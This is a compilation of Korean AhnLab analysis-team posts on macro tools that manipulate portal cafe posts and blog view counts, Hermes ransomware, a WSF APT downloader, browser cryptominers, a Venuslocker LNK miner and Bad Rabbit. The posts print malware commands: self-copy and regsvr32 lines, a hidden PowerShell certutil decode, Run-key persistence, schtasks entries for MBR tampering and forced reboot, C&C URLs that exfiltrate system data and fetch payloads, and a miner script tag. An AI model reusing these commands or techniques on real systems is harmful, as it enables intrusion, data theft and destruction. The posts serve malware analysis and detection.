지난 1월 17일 국내 대형 포털사이트를 대상으로 검색어 조회 수와 블로그 방문자 수를 늘려 순위를 조작한 조직이 적발되었다는 뉴스가 보도되었다. 해당 조직은 특정 프로그램을 제작하여 고가의 유료 프로그램으로 판매하였다.

안랩은 이와 같은 유형의 프로그램, 일명 ‘조작기’나 ‘매크로 프로그램’을 악성 파일로 분류하고 진단하고 있다. 하지만 정보 유출 목적의 파일이나 랜섬웨어처럼 불특정 다수를 대상으로 악의적으로 공격하는 것이 아닌 상업적인 이득을 목적으로 거래되는 파일이라는 점을 고려하여, 그 유형을 달리 분류한다. 이러한 악성 파일은 수년 전부터 확인되었으며, 유포 경로를 확인해본 결과 회원제 전용 유료 자료실 또는 개인 간의 1:1 거래로 주로 거래된다.

아래는 국내 대형 포털사이트의 카페에 자동으로 글을 올리거나 블로그 조회 수를 조작하는 유해 프로그램에 대한 대표 예시와 동작 방식 일부를 설명한다. 

[1] 카페 자동 글 작성

다음은 네이버 포털사이트 카페에 자동으로 글을 작성하는 프로그램이다. 기본적으로 웹 기반으로 컨텐츠를 주고 받으며 프로그램은 GUI 모드로 동작한다. 아래는 주요 기능과 특징이다.

  • 로그인 한 계정으로 가입한 카페 정보 출력: 카페 목록, 게시판 목록 등
  • 글을 올릴 때 작성자로 이용될 네이버 계정 선택 가능
  • 에디터를 이용하여 카페에 올릴 게시글 미리 작성
  • 선택된 정보를 바탕으로 게시글 자동 작성
  • 최소 30 초~ 주기로 글 작성 시작/예약/정지 가능

카페 자동 글 작성을 목적으로 하는 예시 프로그램 기본 화면

카페 자동 글 작성을 목적으로 하는 예시 프로그램의 실행 화면 일부

로그램 실행 시 기본 화면은 위와 같다. 자동 글 작성 기능을 수행하기 전에 먼저 작업할 정보를 생성한다. 본인이(글 작성자) 가입한 카페 정보를 확인하기 위해 로그인을 하고 각 카페의 게시판 목록을 웹에 쿼리함으로서 얻어온다. 프로그램 내 포함된 코드를 보면 네이버 카페의 웹 페이지 소스에 사용된 카페ID 값 등을 이용하여 게시판 목록 등을 얻어오는 것을 확인할 수 있다. 

네이버 카페 웹 페이지 소스 일부

작성할 글은 HTML 웹 에디터와 동일한 화면으로 이 부분에 내용을 작성한다. 이후 업로드 대상 카페와 게시판, 글 내용을 선택한 뒤에 일정 시간 주기(사용자 선택 가능)를 바탕으로 스레드를 생성한다. 


특징적으로 글 컨텐츠 전송은 정상적으로 PC나 모바일 웹 브라우저를 거치지 않기 때문에 프로그램 내 하드코딩 되어 있는 임의의 User-Agent 정보를 포함하여 전송되어야 한다. 이 프로그램은 iPad 의 User-Agent 를 이용하였으며 이외에도 iOS 등 모바일 브라우저에서 작성된 것으로 위장하여 데이터를 서버에 전송한다. 

프로그램 내 코드 - 글 작성 시 접속하는 주소와 전송되는 정보 일부
 
실제로 프로그램을 이용하여 현재 운영되고 있는 카페에 다음과 같이 짧은 시간 내에 다수 개의 글이 작성되는 것을 확인하였다. 이러한 유해 프로그램은 주로 상업적인 목적으로 동일한 내용의 광고성 글을 남기기 위해 이용될 수 있다. 

프로그램 실행 후 자동으로 글이 업로드 된 카페 게시판 예시

[2] 블로그 조회 수 조작

다음은 카카오의 티스토리 블로그 조회 수를 조작할 수 있는 프로그램이다. 조회 수는 블로그 게시글 주소에 직접 접속하거나 검색 등 다른 유입 경로(키워드 유입)를 거쳐서 올리게 되는데 이 프로그램은 이 두 가지 방식을 모두 이용한다. 조회 수 조작이나 유입 경로 조작 등을 포함한 어뷰징은 저품질/광고성 블로그가 검색 상위에 랭크되게 할 수 있다. 또한, 경쟁 블로그를 대상으로 어뷰징을 하게 될 경우 엉뚱한 검색 키워드로 유입 경로와 조회 수를 조작 (Ex. ‘신제품 리뷰’ 관련 글이 ‘여행’ 키워드로 다수 유입된 것으로 조작) 할 수 있기 때문에 블로그 운영자와 다른 사용자에게 피해를 줄 수 있다.
 
이러한 블로그 조회 수 조작 프로그램의 상당수는 비교적 단순하게 HTTP Request 접속을 반복적으로 실행하게 하는 것으로 동작한다. 따라서 동일 IP에 대해서는 1건의 접속으로 처리하는 블로그 서비스의 경우 정상적으로 기능하지 않는다. 또한, 접속자 정보를 계속 변경하기 위해 다른 유사 프로그램에서는 별도의 VPN, 혹은 프록시 프로그램을 이용하는 프로그램도 확인되었다. 아래는 예시 프로그램의 주요 기능과 특징이다. 

  • 일정 주기 간격으로 특정 URL 반복 접속 – HTTP, User-Agent 고정
  • 프록시를 이용하여 접속 IP 변경 가능
  • 계정을 이용하여 특정 계정으로 접속 가능

블로그 조회 수 조작을 목적으로 하는 예시 프로그램 실행 화면 일부

파일 내에는 수십 개의 다른 User-Agent 정보를 포함하여 HTTP 클라이언트 요청을 하는데 이를 통해 실제 웹 브라우저에서 접속하는 것으로 위장해 블로그 서비스 서버에 전송된다. 아래 패킷 데이터를 보면 1초 간격으로 블로그에 접속하는 것을 확인할 수 있다.

프로그램 동작 중일 때 웹 쿼리 패킷

실제로 프로그램을 이용하여 단시간 동작했을 때 아래와 같이 특정일 방문자 수가 급격하게 올라간 것을 확인하였다. 

조회 수 조작 결과

위에서 살펴본 바와 같이 개인의 목적에 따라 ‘조작기’ ‘매크로 프로그램’이 실제로 유포, 거래, 이용되고 있다. 이는 비정상적인 경로를 이용하여 서비스를 어뷰징해서 서비스 제공 업체와 일반 사용자에게 피해를 줄 수 있다. 

안랩에서는 이러한 유해 가능 프로그램류에 대해 아래와 같이 Unwanted 혹은 Hacktool 류로 진단하고 있다. 이 진단은 V3 제품(기업용 제품 또는 개인용 V3 유료 제품) 옵션에서 ‘유해 가능 프로그램’을 검사 대상으로 설정했을 때 탐지할 수 있다.

- Hacktool/Win32.AutoMacro
- Unwatned/Win32.AutoMacro


Posted by 분석팀

최근 소개 된 것과 같이 변형 된 Hermes 랜섬웨어가 국내에 유포 중이다. 특이한 점은 이 Hermes가 자사 AhnLab을 타겟으로 한 정황이 포착되었다. Hermes는 시스템의 특정 폴더와 파일을 암호화에서 제외하는데 이 제외 폴더 목록에 'AhnLab'을 포함하고 있다. 이는 V3 기능 중 자사 제품 설치 폴더의 파일이 암호화 될 경우 자체 보호 기능에 의해 사용자가 인지할 수 있도록 하는 부분을 우회하기 위한 것으로 추정된다.


자사의 제품을 설치 할 시 Program Files 경로에 AhnLab이라는 폴더가 생성되는데, Hermes는 폴더명에 AhnLab이 포함 될 경우 암호화 대상에서 제외한다. 이는 과거 2017년 초의 Hermes에서는 없었던 것으로 최근의 변형에 반영되었다.


2017년 초의 Hermes와의 공통점 및 차이점은 아래와 같다.

[표] - Hermes 랜섬웨어 초기 버전과 최근 버전의 공통 및 차이점


섬웨어의 피해를 최소화하기 위해서 사용자는 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서 Hermes 랜섬웨어는 다음 진단명으로 진단하고 있다.

파일 진단 : Trojan/Win32.Hermesran, Trojan/Win32.RansomHermes

행위 진단 : Malware/MDP.Ransom.M1171



Posted by 분석팀

2017년에 확장자 명을 변경하지 않는 랜섬웨어로 알려졌던 ‘Hermes(헤르메스)가 국내에 다시 등장했다. 기존과 마찬가지로 여전히 감염된 파일의 확장자를 변경하지 않으며, 아래와 같이 Time Date Stamp 정보로 보아 최근 제작되어 유포 중임을 알 수 있다.

[그림 1] – 최근 유포 된 파일의 Time Date Stamp 정보


최근 유포 중인 Hermes는 악성 행위를 수행하기 전에, 아래 레지스트리를 확인하여 해당 시스템의 언어 국가를 참조하여 특정 국가의 경우 감염에서 제외한다.


확인 레지스트리

확인 값

해당 국가

HKLM\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage

0419

러시아

0422

우크라이나

0423

벨라루스






[표 1] – 감염 제외 국가

해당 국가가 아닌 경우 감염 행위를 수행하는데, 자기 자신을 %TEMP% 폴더에 svchosta.exe라는 파일명으로 복사 후 CMD명령을 통해 동작한다.

자기 파일 복사

/C copy /B “[원본파일]” “%Temp%\svchosta.exe”

복사 된 파일 실행

/C start "%Temp%\svchosta.exe”


[표 2] – 자기 파일 복사 및 실행 CMD 명령


복사 된 svhosta.exe가 실행 되면 정상 파일들을 암호화하는데 암호화 대상 조건은 아래와 같다.

암호화 제외 폴더 명

AhnLab, Microsoft, Chrome, Mozilla, Windows, esktop, $Recycle.Bin

암호화 제외 확장자

exe, dll, lnk, ini, hrmlog



[표3] - 암호화 제외 폴더 및 확장자


Hermes는 드라이브를 검색하여 정상 파일을 암호화하며 해당 동작이 완료되면, 볼륨 쉐도우 카피 삭제 명령을 수행하는 bat파일을 생성 및 실행한다.

Bat 파일 생성 경로

Bat 파일 생성 파일명

C:\users\Public

window.bat

[표 4] – 볼륨 쉐도우 카피 삭제 기능을 하는 bat파일

 

생성 된 window.bat는 볼륨 쉐도우 카피 저장 공간을 작게 조정하여 간접적으로 내부 파일들을 삭제되도록 한 후 모든 볼륨 쉐도우 카피 삭제를 수행한다. 또한 아래와 같이 특정 확장자의 백업 파일들까지 삭제하여 사용자의 복구를 힘들게 한다.

[그림 2] – 볼륨 쉐도우 카피 삭제 기능을 하는 bat 파일 내용 (window.bat)


또한 정상 파일 암호화 시, 각 폴더 마다 DECRYPT_INFORMATION.html 명의 랜섬 노트를 생성하며, 복구를 원할 시 비트코인을 요구한다.

[그림 3] – Hermes 랜섬노트 (DECRYPT_INFORMATION.html)


섬웨어의 피해를 최소화하기 위해서 사용자는 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다. 또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 및 확인되지 않은 웹 페이지 방문 시 사용자의 각별한 주의와 플래시 취약점을 이용함으로 플래시 보안 업데이트도 최신으로 유지가 필요하다.

현재 V3 에서 Hermes 랜섬웨어는 다음 진단명으로 진단하고 있다.

파일 진단 : Trojan/Win32.Hermesran (2018.01.28.08)

- 행위 진단 : Malware/MDP.Ransom.M1171


Posted by 분석팀

지난 118일 안랩은 고객사로부터 APT 공격 형태와 유사한 WSF(Windows Script File) 악성코드를 접수받았다.


WSF(Windows Script File)파일은 윈도우에서 실행되는 스크립트 파일의 확장자로 사용되며 자바스크립트, VB 스크립트 등 다양한 언어를 지원한다. 출처가 불분명한 수신 메일에 WSF 확장자, JS 확장자 등 스크립트 파일이 첨부되어 있다면, APT 악성코드 이외에도 랜섬웨어 등 다양한 악성코드에 노출될 수 있으므로 사용자의 각별한 주의가 필요하다.

 

첨부된 WSF 악성코드 파일의 전체적인 APT 동작 과정은 [그림 1]과 같다.

 

[그림 1] 악성코드의 전체적인 동작 과정

 

첨부된 WSF 파일을 실행하면 사용자에게 정상 한글 문서를 화면에 보여주고, 백그라운드에서는 악성코드 유포 서버로부터 악성 DLL을 다운받아 실행한다. 실행된 악성 DLL에는 시스템 정보를 유출하는 기능과 추가 악성코드를 다운로드 하는 기능이 존재한다.


 

1) “정보보고.WSF” 파일의 동작 과정

정보보고.WSF”는 내부에 정상 HWP 파일을 포함하고 악성 DLL을 다운로드 및 regsvr32.exe에 악성 DLL을 적재하는 기능을 갖고 있다.

특이한 점은 이후 설명할 ㄱ)~) 까지의 악성 행위를 수행하는 동안에 각 단계마다 특정 사이트에 접속을 시도한다. 이는 악성코드 제작자가 자신이 유포한 WSF 파일을 통해 공격이 어디까지 수행되었고, 파급력은 어느 정도인지 확인하기 위해 사용하는 기법으로 추정된다.

 

악성 행위 단계

사이트 접속 (GET 통신)

)~)

http://www.j*j*s*o*g*h*.o*g/hboard4/data/cheditor/badu/alpha.php?v=1

)

http://www.j*j*s*o*g*h*.o*g/hboard4/data/cheditor/badu/alpha.php?v=2

)

http://www.j*j*s*o*g*h*.o*g/hboard4/data/cheditor/badu/alpha.php?v=3

)

http://www.j*j*s*o*g*h*.o*g/hboard4/data/cheditor/badu/alpha.php?v=4

[1] 악성 행위 단계 별 접속하는 사이트 목록

 

) “정보보고.HWP” 파일 드롭 및 실행

정보보고.wsf 파일 내부에는 [그림 2]와 같이 HWP 파일을 BASE64 인코딩된 상태로 포함하고 있으며 실행 시 HWP 파일을 현재 디렉터리 경로에 정보보고.hwp”라는 이름으로 드롭 및 실행한다.

 

[그림 2] BASE64로 인코딩된 HWP 바이너리


[그림 3] “정보보고.hwp” 내용

 

) 압축 프로그램 탐색 및 압축해제 파라미터 설정

정보보고.hwp 파일을 실행 후 WSF 파일은 시스템에 Winrar 혹은 알집 압축 프로그램의 설치 여부를 확인하고 압축 프로그램이 있으면 설치된 압축 프로그램에 맞게 압축 해제 파라미터를 설정한다. 이후 설정된 파라미터는 ) (cmd 명령을 통한 압축해제) 악성 단계에서 수행된다.

악성 WSF 파일이 압축 해제 파라미터를 설정하는 이유는 악성코드 유포 서버로부터 다운로드 되는 악성 DLL 파일이 특정 패스워드로 암호화된 압축 파일이기 때문이다.

 

압축 프로그램

사용되는 파라미터 및 설명

Winrar

설정 파라미터 : UnRar.exe x -o -p “압축해제 대상이 되는 악성 DLL”

x : 압축풀기

-o :덮어 쓰기 모드

-p : 암호 설정

알집

설정 파라미터 : ALZipCon.exe -x -xf -oa -p “압축해제 대상이 되는 악성 DLL”

-x : 압축풀기

-xf :압축풀 때 폴더이름을 사용하지 않고 압축을 품

-oa :파일이 중복일 때 중복된 모든 파일을 덮어씀

-p : 암호 설정

[2] 압축 프로그램 파라미터 설정 및 설명

※ 악성 DLL에 대한 압축 패스워드는 WSF 파일에 하드코딩 되어 있음

 

) “악성 DLL.rar” 다운로드 및 시그니쳐 검증

악성코드 유포 서버로부터 악성 DLL을 다운로드 후 Rar 파일 MAGIC 값 검증을 수행한다.

 

OS

파일 경로

Windows Vista 이상

C:\ProgramData\fund.pas

Windows XP

C:\Windows\fund.pas

[3] 압축된 악성 DLL 파일 저장 경로

 

[그림 4] 다운로드 파일에 대한 파일 MAGIC 값 검증

 

) cmd 명령을 통해 압축 해제

악성 DLL.rar 파일을 다운로드 받으면, WSF 파일은 ) 에서 획득한 압축 해제 파라미터를 cmd 명령 파라미터로 전달한다. [4]의 경로에 압축 해제 된다.

 

OS

파일 저장 경로

Windows Vista 이상

C:\ProgramData\fund.lis

Windows XP

C:\Windows\fund.lis

[4] 악성 DLL 압축 해제 경로

 

) 압축 프로그램이 없을 경우 파워쉘 실행

압축 프로그램이 존재하지 않을 경우에 아래의 파워쉘 커맨드를 실행하는데, 이는 악성코드가 접속하는 서버로부터 BASE64로 인코딩된 또 다른 파일이 유포될 수 있다는 것을 의미한다.

 

파워쉘 명령

powershell.exe -windowstyle hidden certutil –decode “서버로부터 다운로드 받은 파일

[5] 파워쉘 명령어

 

) regsvr32.exe를 통해 fund.lis(악성 DLL) 적재 후 실행

최종적으로 복호화된 fund.lis 파일을 regsvr32 프로세스를 통해 실행한다.


fund.lis(악성 DLL) 적재

regsvr32 /s /i “fund.lis(악성 DLL) 파일 경로

[6] regsvr32에 전달되는 파라미터

 

2) fund.lis(악성 DLL) 동작 과정

regsvr32.exe의 메모리에 적재된 fund.lis는 감염 시스템의 정보를 유출하고 C&C 서버로부터 추가 악성코드를 다운로드 및 실행하는 기능을 갖고 있다. 전체적인 동작 과정은 [그림 5]와 같다.

 

[그림 5] fund.lis의 전체적인 동작 과정

 

) 자가 복제 경로 및 자동 실행 레지스트리 키 등록

fund.lis[ 7]의 경로에 자기 자신을 복사하여 재부팅 뒤에도 자동 실행되도록 Run 키에 해당 파일을 등록한다.

 

자가 복제 경로

%Appdata%\Microsoft\Protect\S-1-5-21-2955441095-2801345911-1478128028-1000\zerobase.dll

[7] fund.lis의 자가 복제 경로

 

레지스트리 키 (Key)

(Value)

데이터 (Data)

HKCU\SOFTWARE\Microsoft\

Windows\CurrentVersion\Run

msProtect

C:\Windows\System32\regsvr32.exe /s 자가 복제 경로”

[8] 자동 실행 레지스트리 등록 값

 

[그림 6] 자동 실행 레지스트리 등록

 

) 유출되는 정보

사용자 시스템에서 유출되는 정보는 [9]와 같으며 공격자의 C&C 서버에 아래의 정보가 전송된다.

 

유출되는 정보

시스템 MAC 주소

설치된 OSMajor, Minor, 빌드 버전 정보

설치된 OS의 환경 정보 (64비트 or 32비트)

[9] 유출되는 정보

 

C&C 서버 정보

http://*******.site11.com/data/zero/log.php?v=맥주소 OS Major, OS Minor,빌드버젼,OS환경

[10] 접속하는 C&C 서버 및 전달되는 파라미터 값

 

[그림 7] C&C 서버에 유출 데이터를 전송하는 GET 통신 시도

 

) 새로운 악성코드 다운로드 및 실행

fund.lis[11]의 주소에 접속하여 새로운 악성코드를 다운로드 및 실행한다. 악성코드 다운로드 주소를 MAC 주소별로 관리하는 것으로 보아 사용자 환경마다 다운로드 되는 악성코드가 다를 것으로 추정된다.

 

추가 악성코드 다운로드 주소

http://*******.site11.com/data/zero/[사용자 MAC 주소]/zerobase

[11] 추가 악성코드 다운로드 주소

 

추가로 다운로드 된 악성코드는 사용자 %Temp% 디렉터리에 [랜덤4자리].tmp로 저장되며, 특정 XOR 키로 암호화되어 있는 것으로 확인된다.

 

[그림 8] 다운로드된 악성코드를 복호화 하는 코드 일부

 

복호화된 파일은 [그림9]와 같이 regsvr32.exe의 인자로 실행된다. 실행이 완료되면 fund.lis는 C&C 서버에 [사용자 Mac 주소] : OK Sucess라는 메시지를 GET 방식으로 송신한다.

 

[그림 9] regsvr32.exe를 통해 추가 악성코드를 실행하는 부분

 

20분 간격으로 [그림 5] 2~4번 과정을 반복 수행하며 [그림 9] regsvr32.exe를 통해 실행된 [랜덤4자리].tmpfund.lis에 의해 삭제된다.

 

[그림 10] 추가로 다운로드 된 악성코드를 삭제하는 부분 (%temp%\[랜덤4자리].tmp)

 

현재 V3 제품군에서는 아래와 같은 진단명으로 위 파일들을 진단하고 있다.

- JS/Downloader (정보보고.wsf)

(엔진 반영 버전 : 2018.01.18.05)

- Trojan/Win32.Akdoor.C2358769 (fund.lis)

(엔진 반영 버전 : 2018.01.18.06)

Posted by 분석팀

암호화폐 시장이 달아오름과 동시에 채굴 방식 또한 점차 다양해지고 있다. PC에 악성 채굴기 실행파일을 몰래 설치하는 악성코드뿐만 아니라[각주:1], 웹 브라우저를 기반으로 하여 암호화폐를 채굴하는 방식이 2017년부터 폭증하고 있다. 

웹 브라우저 기반으로 동작하는 마이닝 방식은 기존의 실행 파일 기반과는 다르게 악성 자바스크립트(JavaScript)를 이용해 동작한다. 자바스크립트는 추가로 악성 자바(JAVA) 파일 또는 웹어셈블리(WebAssembly) 파일을 로드할 수 있으며, 해당 웹 페이지에 접속했을 때 접속자는 개인 하드웨어 자원을 이용하여 채굴을 하게 되고 그 결과는 공격자의 지갑 주소에 전송된다. 

파일 기반의 악성코드는 최종 페이로드를 사용자 시스템에 전달하기 위해 파일 다운로드 후 실행하기까지 과정이 필요하지만, 웹 기반의 마이닝 악성코드는 단순 웹 페이지 접속 조건만을 만족하면 되기 때문에 공격자 입장에서는 좀 더 손쉬운 채굴 방식이 될 수 있다.

웹 브라우저를 이용한 최초의 마이닝 방식은 암호화폐 가격이 지금보다 낮았던 2011년에 이미 확인된 바 있다. ‘Bitcoin Plus’란 이름의 서비스는 비트코인을 채굴할 목적으로 작성된 자바스크립트를 제공하였다. 이 스크립트는 악성 자바아카이브(JAR) 파일을 다운로드 하고 자바 실행 환경의 시스템에서 채굴하였다.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>

<script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>

<script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com")</script>

miner.js - 악성 JAR 파일 bitcoinplus-miner.jar 로드

bitcoinplus-miner.jar - 실제 마이닝 기능을 수행

최근에는 암호화폐 종류가 다양해지고 마이닝이 인기가 높아짐에 자바스크립트 마이너 파일 역시 다양하게 제작, 유포되고 있다. 대표적으로는 CoinHive (XMR 채굴)이 있으며 이 외에도 CryptoNoter(XMR, BCN, ETN), DeepMiner(XMR, ETN 외) 등 다양하다. 이러한 마이너 파일들은 GitHub 등 저장소에 소스가 공개되어 있어 접근하기도 쉽다. 자바스크립트 파일 외에 지갑 주소, 프록시, 스레드 개수 등을 설정하는 Config 파일을 별도로 구현하기도 하며 이는 마이너마다 차이가 있다.

공격자는 다음과 같은 방식 등을 이용하여 악성 마이너 파일을 웹 브라우저에 로드할 수 있다. 

  • 개인 사이트 또는 블로그에 악성 자바스크립트 포함
  • 해킹으로 탈취한 사이트에 악성 자바스크립트 포함 (Ex. iframe 태그 이용)
  • 정상 사이트에 포함된 광고 배너에 악성 자바스크립트 포함
다음은 최근 접수된 샘플로 ad1.html 이름의 광고성 페이지 안에 악성 자바스크립트 파일을 로드하는 코드가 삽입되어 있다.

ad1.html – 마이닝 목적의 자바스크립트 파일 로드

로드 된 deepMiner.js 파일은 다음과 같이 난독화 되어 있는 파일이다. 소켓 관리, 마이닝 기능 수행 시작 등 실질적인 기능에 대한 구현 부분만 포함하고 있으며 접속 풀 주소, 호스트, 포트 등의 기본 정보는 파일 내에 없다. 이 부분은 서버에 업로드 된 별도의 설정 파일로 구현 되어있을 것으로 보인다. 

deepMiner.js – 난독화 되어 있음

ad1.html 페이지 접속시 로드 된 deepMiner.js 파일은 채굴을 위한 CryptoNight 알고리즘 수행을 위해 worker.min.js 파일을 로드한다. 

추가 파일 로드

worker.min.js 파일 또한 난독화 되어 있는데 이 파일은 유포지의 /lib/ 경로에 존재하는 해시 알고리즘 구현 파일인 cryptonight.asm.js 파일 또는 cryptonight.wasm 웹어셈블리 파일을 로드하여 메모리에 올리는 역할을 한다. 웹어셈블리 파일은 웹 브라우저 상에서 실행 가능한 컴파일된 바이너리로서 자바스크립트(인터프리터 방식)보다 훨씬 빠른 속도로 실행 가능하다. 다만 웹어셈블리 WASM 파일은 컴파일 된 형태이기 때문에 외형만 봐서는 그 기능을 파악하기 어렵다. 따라서 이를 웹어셈블리를 텍스트 형식 파일인 WAT 파일로 변환하면 부분적으로 그 기능을 파악할 수 있다. 

웹어셈블리 파일 – 해시 알고리즘 구현

웹어셈블리 파일 텍스트 포맷 – 해시 알고리즘 구현

웹어셈블리를 이용한 것은 채굴을 좀 더 빠르고 효과적으로 하기 위한 방식으로, 최근 발견되는 악성코드는 대부분 해시 알고리즘 부분을 웹어셈블리 파일로 구현하여 로드하는 것으로 확인된다.

참고로 웹어셈블리는 브라우저 종류와 버전에 따라 지원 여부가 다르다. 만약 지원하지 않는 브라우저 환경일 경우에는 원본 코드인 자바스크립트 파일을 로드한다. 작성 기준 현재 Internet Explorer 는 웹어셈블리를 지원하지 않는다.[각주:2] Internet Explorer 로 ad1.html 페이지를 방문한 사용자는 웹어셈블리 파일 대신 asm.js 자바스크립트 파일이 로딩된다. 

최종적으로 마이닝 기능을 위한 파일이 모두 로드 되면 웹 브라우저의 CPU 사용량이 급등하며 채굴 기능이 수행된다. 

지금까지 살펴본 바와 같이 암호화폐 채굴 악성코드는 채굴자 개인의 PC 자원 혹은 다른 사람의 자원을 이용하기 위해 최근 들어서 그 수가 증가하고 있다. 웹 브라우저에 로드되어 마이닝 기능을 수행되는 방식은 웹브라우저를 종료하면 그 기능이 종료되고 현재까지는 채굴 이외의 기능은 확인되지 않고 있다. 하지만 사용자의 시스템 자원을 무단으로 이용하고 불특정 다수를 대상으로 악성 행위를 하기 때문에 주의를 기울일 필요가 있다. 

V3 제품군에서는 다음과 같은 진단명으로 탐지하고 있다.

  • HTML/CoinMiner
  • JAVA/CoinMiner
  • JS/CoinMiner
  • WASM/Cryptojs


  1. http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=3&menu_dist=2&seq=26900&key=&dir_group_dist=&dir_code= [본문으로]
  2. https://caniuse.com/#search=webassembly [본문으로]
Posted by 분석팀

2017년 12월 중순부터 Venuslocker에서 사용된 LNK(바로가기) 파일이 다시 비트코인 마이너와 함께 유포되고있어 사용자의 주의가 필요하다. 과거 Venuslocker에 사용된 LNK(바로가기) 파일은 국내에 ‘비너스 라커’로 알려진 랜섬웨어를 실행시키는 파일로 2017년 2월에 활발하게 유포되었다. 현재는 랜섬웨어가 아닌 Monero (XMR) 비트코인 마이너를 실행시키는 파일로 변경되었다.

[좌] 기존 Venuslocker - Ransom 파일명 : 이력서.jpg.lnk
[우] 현재 Venuslocker – Bitcoin 파일명 : 1`원본이미지_180106.jpg.lnk

과거 Venuslocker에 이용된 LNK(바로가기) 파일과 동일하다고 판단한 이유는 파일에 남아있는  Venuslocker의 특징 때문이다.

위 그림 상단에 있는 파일은 기존 Venuslocker - Ransom 파일로 ExtraDataBlock에  바탕화면 경로\VenusLocker_korean.exe 이 있는것이 특징 중 하나였다. 하단에 있는 파일은 현재 Venuslocker – Bitcoin 파일로  ExtraDataBlock에 동일한 hex값을 가지고 있음을 알 수 있다.

빨간 박스를 해석하면 ‘양진이’가 된다.

- C:\Users\l\Desktop\양진이\VenusLocker_koreans.exe


해당 악성코드는 스팸 메일에 압축 형태로 첨부되어 사용자들에게 전파되는 것으로 확인되었으며, 압축 파일에는 코인 마이너 파일과 코인 마이너를 실행하는 LNK(바로가기) 파일이 포함되어 있다. 특히 LNK(바로가기) 파일들은 *.doc 파일과 *.jpg 파일 아이콘으로 위장하고 있어 사용자가 아이콘을 실행하지 않도록 각별한 주의가 필요하다.


V3 제품군에서는 다음과 같은 진단명으로 탐지하고 있다.

<V3 제품군 진단명>

- LNK/Venuslocker (2017.12.22.03)



Posted by 분석팀

Petya와 유사한 Diskcoder (혹은 Bad Rabbit) 랜섬웨어가 1025일 최초 동유럽에서 보고 되었다.

유포 방식은 DBD (Drive By Download) 로 추정 되며 가장 상위의 드롭퍼는 Adobe Flash Player 설치파일로 위장 되었다.

[그림 1] - 구조 흐름도

드로퍼는 주요 악성기능을 수행하는 DLL 파일을 드롭 한 후 Rundll32.exe 이용하여 실행한다. 아래 표와 같이 인자 값이 주어지는데 해당 인자 ‘15’는 추후 악성코드가 재부팅 명령을 수행할 때 시간 조건으로 사용한다. 자세한 내용은 아래에 언급된다

생성 경로 및 파일명

C:\windows\infpub.dat

실행 명령

C:\windows\system32\rundll32.exe C:\windows\infpub.dat”,#1 15


위와 같이 실행 된 DLL은 아래와 같은 기능을 한다.

- MBR 변조 및 부트 파티션 암호화 관련 파일 드롭

- 파일 암호화

- 네트워크 전파


MBR 변조 및 부트 파티션 암호화을 수행하는 파일은 위 infpub.dat에서 드롭되며 그 내용은 아래와 같다.

[MBR 변조]

생성 경로 및 파일명

C:\Windows\dispci.exe

rhaegal 스케줄 명령

schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start

"" "C:\windows\dispci.exe" -id [랜덤숫자] && exit"


MBR
변조를 수행하는 dispci.exe파일은 schtasks를 통해 위와 같은 명령의 스케줄로 등록되어 동작한다. rhaegal이라는 이름의 스케줄로서 시스템 계정으로 ‘-id [랜덤숫자]’ 인자를 주어 dispci.exe를 실행하라는 의미를 가진다.

아래 그림과 같이 해당 파일 내부 Resource섹션에 MBR변조에 사용하는 데이터를 가지고 있으며, 해당 내용을 읽어 덮어씀으로써 MBR 변조가 수행된다.

[그림 2] - dispci.exe Resource영역에 존재하는 MBR변조 데이터


변조 후에 원본 MBR은 부트 파티션 하위 위치에 백업되며 사용자 정보 및 AES 키 값은 공개키로 암호화된다.

[부트 파티션 암호화]

생성 경로 및 파일명

C:\Windows\cscc.dat

레지스트리 등록

HKLM\SYSTEM\CurrentControlSet\Services\cscc\\ImagePath

"cscc.dat" -> 대상 파일

 

HKLM\SYSTEM\CurrentControlSet\Services\cscc\DisplayName

"Windows Client Side Caching DDriver" -> 서비스 이름

 

HKLM\SYSTEM\CurrentControlSet\Services\cscc\Type

0x1 -> 커널 초기화시 해당 드라이버가 로드


해당 파일은 오픈 소스로 제공되는 파티션 암호화 솔루션 드라이버 파일이다. 해당 파일은 재부팅 후 로드되어 동작한다. 또한 상위에 언급된 dispci.exe에서 DeviceIoControl API를 이용하여 ControlCode를 해당 드라이버에 보내어 제어 및 수행하게 함으로써 부트 파티션 암호화가 일어난다.

[그림 3] – dispci.execscc.dat(dcrypt)를 이용하는 부분

 

가장 상위에서 언급 된 infpub.dat은 자신이 받은 인자 값 ‘15’와 파일이 실행된 시간을 바탕으로하여 계산 된 값을 합한 숫자(분 단위)만큼 후에 재부팅 될 수 있도록 명령을 수행한다. 이때 한번 재부팅하면 해당 드라이버 파일이 로드 되며 실행된다.

drogon 스케줄 명령

schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST [재부팅시간]

위 스케줄은 시스템 재부팅을 한번 수행하는 명령이며, 아래 그림4는 MBR 및 부트 파티션이 모두 변조 및 암호화되고 재부팅 된 후에 보이는 화면이다.

[그림 4] – 부팅 변조 화면

 [파일 암호화]

랜섬웨어의 가장 큰 특징으로 파일들에 대한 암호화를 수행하는데 확장자 비교 매칭으로 대상 파일들을 암호화 한다. CryptGenRandom API와 특정 루틴을 통해 AES 키를 생성하며 공개키는 코드에 하드코딩되어 있다.

[그림 5] – 하드코딩 된 공개키


감염

대상

확장자

.3ds.7z.accdb.ai.asm.asp.aspx.avhd.back.bak.bmp.brw.c.cab.cc.cer.cfg.conf.cpp.crt.cs.ctl

.cxx.dbf.der .dib.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.hpp.hxx.iso.java.jfif.jpe.jpeg.jpg

